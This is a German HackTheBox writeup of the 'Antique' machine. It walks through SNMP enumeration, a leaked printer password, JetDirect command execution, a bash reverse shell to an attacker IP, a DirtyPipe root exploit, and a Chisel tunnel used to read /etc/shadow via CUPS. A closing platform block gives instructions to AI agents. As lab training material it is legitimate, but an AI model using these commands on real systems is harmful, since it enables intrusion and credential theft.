> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md).

# Antique HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Antique mit Abdeckung von SNMP-Enumeration, Missbrauch des Netzwerkdruckers, Ausnutzung der CUPS-Administration (ErrorLog), EXTRA -> (DirtyPipe) (CVE-2022-0847], mit praktischer Enumer

{% embed url="<https://app.hackthebox.com/machines/400>" %}

{% hint style="warning" %}
Fähigkeiten:

* SNMP-Aufzählung
* Missbrauch des Netzwerkdruckers
* Ausnutzung der CUPS-Verwaltung (ErrorLog)
* EXTRA -> (DirtyPipe) (CVE-2022-0847]
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Wir richten unseren Arbeitsbereich ein, indem wir drei Ordner erstellen, um wichtige Inhalte, Exploits und Reconnaissance-Ergebnisse mit Nmap zu speichern

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb035155588326f9e4532ca71e08f2c7149d00e4%2Fimage%20(2497).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b3f1ccbc3f481a9de6771f18679ad0ec073b4cd%2Fimage%20(2498).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### TCP-Scan:

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23cade44b7a89b072549624663df2a36e3cdfeb7%2F%7BDEF431B0-F0DE-4462-AC3C-38F8E3C217B6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (23.7777)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d65ed51b8d7079a8cacd9a5486103c8961220224%2Fimage%20(2499).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p23,7777 10.10.11.107 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8657133817dcdb4e7138c156235d2d5ec4e6855%2F%7B4FA11160-124B-400F-8E4E-560E50363192%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### UDP-Scan:

**Offene Ports mit Nmap erkennen:**

Wir führen auch einen Scan der UDP-Ports mit **Nmap**:

```bash
nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP
```

Wir extrahieren die Ergebnisse erneut mit `extractPorts`, und wir beobachten das Offenwerden von Port **161**, der von SNMP verwendet wird.:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a81cf64e8a8ff0fb95c33d672b72f1fc35aeb3b%2Fimage%20(2500).png?alt=media" alt=""><figcaption></figcaption></figure>

## Dienste untersuchen

### Port 23 (Telnet) – HP JetDirect

Beim Versuch, eine Verbindung zu Port **23** über **Telnet**, stoßen wir auf einen HP JetDirect-Dienst, der uns nach einem Passwort fragt. Wir können versuchen, uns mit folgendem zu verbinden:

```bash
nc -vn 10.10.11.107 23
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-725a1f608f1d33690482172aa0bb1280cff23f09%2F%7B9974315B-23AA-4C6D-8235-D3369DFB8570%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Port 161 (SNMP)

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

Wir verwenden **snmpbulkwalk** um die auf Port bereitgestellten SNMP-Dienste aufzulisten **161**:

```bash
snmpbulkwalk -c public -v2c 10.10.11.107 .
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-595092436e5008d80f347cb7936f6ded67fc5636%2F%7BB7A3614E-949F-40F7-9819-8BBE2AFDD2AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
```

Dies liefert uns eine hexadezimale Zeichenkette, die wir in ASCII umwandeln, um den lesbaren Inhalt zu erhalten:

{% code overflow="wrap" %}

```bash
echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a5ab3ee421b0b27c287df57ec4791cd33763b7db%2F%7B3C9FCEF8-EF3C-44F5-A74E-144C7CB7B5DB%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

Dieser Kanal enthält einige interessante Informationen, aber nichts, was sofort für die Ausnutzung nützlich wäre.

```bash
nc -vn 10.10.11.107 23
P@ssw0rd@123!!123
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8e0c9228d74b0fdb0f22e6d3822290d62514f20%2F%7B6F1E205F-49A7-4CA9-A25C-5F8CE6E9A5C5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Beim Versuch, auf Port 23 (JetDirect) eine Zeichenfolge als Passwort einzuschleusen, verwenden wir Versuche wie:

```bash
P@ssw0rd@123!!123
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0c80b1e74faaa582d5e5023f6feabbc3bda0248%2F%7BC99DCBB5-30B6-45C0-8AE4-DE80AEEE0C5D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Missbrauch des Netzwerkdruckers

Wir haben festgestellt, dass es möglich ist, Befehle über den Netzwerkdrucker auszuführen. Die Ausnutzung dieser Schwachstelle beruht auf dem `exec` Befehl, der das Einschleusen entfernter Befehle ermöglicht. Zum Beispiel:

```bash
exec id
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f829522f1f46cddc1abdc85e79df45e99558472%2Fimage%20(2501).png?alt=media" alt=""><figcaption></figcaption></figure>

Dies gibt Systemanmeldedaten zurück und ermöglicht die Ausführung weiterer Befehle.

**Umkehr-Shell**

Wir richten eine Reverse Shell mit **nc** auf Port **443** des angreifenden Rechners ein:

```bash
nc -nvlp 443
```

```bash
exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" 
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e6f2829c0f8858923eedc0666277ecf206aad07%2Fimage%20(2502).png?alt=media" alt=""><figcaption></figcaption></figure>

Als Nächstes manipulieren wir die Shell-Sitzung, um bessere Kontrolle zu erlangen:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt-Flagge :) <a href="#user-flag" id="user-flag"></a>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6ca4f0300e973545cbd6678f625058993240432%2F%7BC9056F09-01CC-4112-AD5B-C8545FBBDE24%7D.png?alt=media" alt="" width="561"><figcaption></figcaption></figure>

## Privilegieneskalation

## 1. DirtyPipe-Ausnutzung

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

Wir prüften, ob die Maschine für den DirtyPipe-Exploit verwundbar war, einen Fehler, der die Änderung laufender Systemdateien ermöglicht. Wir fanden heraus, dass die Maschine **gcc**, einen C-Compiler, verfügbar an der Stelle `/usr/bin/gcc`.

```bash
lp@antique:/home/lp$ which gcc
/usr/bin/gcc
```

Als Nächstes verwendeten wir **Python3** um den Exploit von unserer lokalen Maschine auf die Zielmaschine zu übertragen. Auf unserer lokalen Maschine starteten wir einen HTTP-Server, um den Exploit bereitzustellen:

```bash
python3 -m http.server
```

Auf dem Opferrechner haben wir den Exploit heruntergeladen:

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e81bb0a4f30ef1430d5f616c29aeaf8c56c4518%2Fimage%20(1027).png?alt=media" alt=""><figcaption></figcaption></figure>

Nachdem der Exploit beschafft worden war, kompilierten wir die C-Datei mit **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
Der Exploit verändert die `/etc/passwd` Datei durch Einschleusen eines Passwort-Hashes und fügt einen Benutzer hinzu `aaron` mit einem bestimmten Passwort, alles, um eine Rechteausweitung zu ermöglichen.
{% endhint %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fc0ad0757f5bce1f8bfe2418a3ea7f4580be1a2%2F%7B05D94990-84EC-461B-BE38-3349B04D7B5F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Führen Sie schließlich einfach das Skript aus:

```bash
./exploit
```

Dies ermöglicht uns, `root`/*/* Zugriff auf die Maschine zu erlangen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7848accef10a484ae739e69fae35d09533a1491c%2Fimage%20(1028).png?alt=media" alt=""><figcaption></figcaption></figure>

## 2. Portweiterleitung mit Chisel

Durch die Untersuchung der offenen Ports auf der Zielmaschine fanden wir Port **631** (von CUPS verwendet). Mit dem folgenden Befehl bestätigten wir die Existenz eines CUPS-Dienstes:

```bash
netstat -nat
```

Der CUPS-Dienst ist in Version **1.6.1** und wir haben festgestellt, dass er möglicherweise verwundbar ist. Um diesen Port umzuleiten, verwendeten wir **Chisel**, ein Tunneling-Tool.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22761bd27e9e04071190180bb80e1c9dfbb89885%2Fimage%20(1030).png?alt=media" alt=""><figcaption></figcaption></figure>

Zuerst kompilierten wir Chisel auf unserer lokalen Maschine:

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
go build -ldflags "-s -w" .
upx chisel
```

Als Nächstes übertrugen wir die Chisel-Executable über einen Python3-HTTP-Server auf die Opfermaschine:

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8586a89ccb2ebbb1bd09126142056d8d27798597%2Fimage%20(1031).png?alt=media" alt=""><figcaption></figcaption></figure>

Auf unserem Rechner starteten wir den Chisel-Server:

```bash
chisel server -p 8888 -reverse
```

Dann konfigurierten wir auf der Opfermaschine den Chisel-Client, um Port 631 auf unseren lokalen Rechner umzuleiten:

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1faa3561304a86686516c861c51d931ede87db8d%2F%7B78AE4EC8-73DD-4E47-A1AE-8ED8C621C126%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Dies ermöglicht uns den Zugriff auf die CUPS-Weboberfläche der Zielmaschine über einen sicheren Tunnel.

### Ausnutzbare Schwachstelle CUPS 1.6.1

{% embed url="<https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/escalate/cups_root_file_read.rb>" %}

Verwendung von **cupsctl**, änderten wir die **CUPS** Dienstkonfiguration, um die **ErrorLog** Datei auf eine sensible Datei umzuleiten, wie **/etc/shadow**. Dadurch kann diese Datei über die CUPS-Weboberfläche als root gelesen werden.

Befehl zum Ändern der Konfiguration:

```bash
cupsctl ErrorLog=/etc/shadow
```

Anschließend riefen wir über unseren Tunnel die CUPS-Weboberfläche auf, indem wir die folgende URL auf dem CUPS-Server aufsuchten:

Dadurch war es möglich, den Inhalt der **/etc/shadow** Datei anzuzeigen und das `root.txt` Flagge.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0976e5fefeb3292acb77770ae8bceedd1cc81f0%2Fimage%20(1032).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-addaeda1828fa8cd3050f13e06842d62835f1e49%2Fimage%20(1029).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3b9a325aaefb4c56559739fc3e0241e54a93716%2F%7BB5465363-AF5E-4CF7-A109-2592326FEAAD%7D.png?alt=media" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
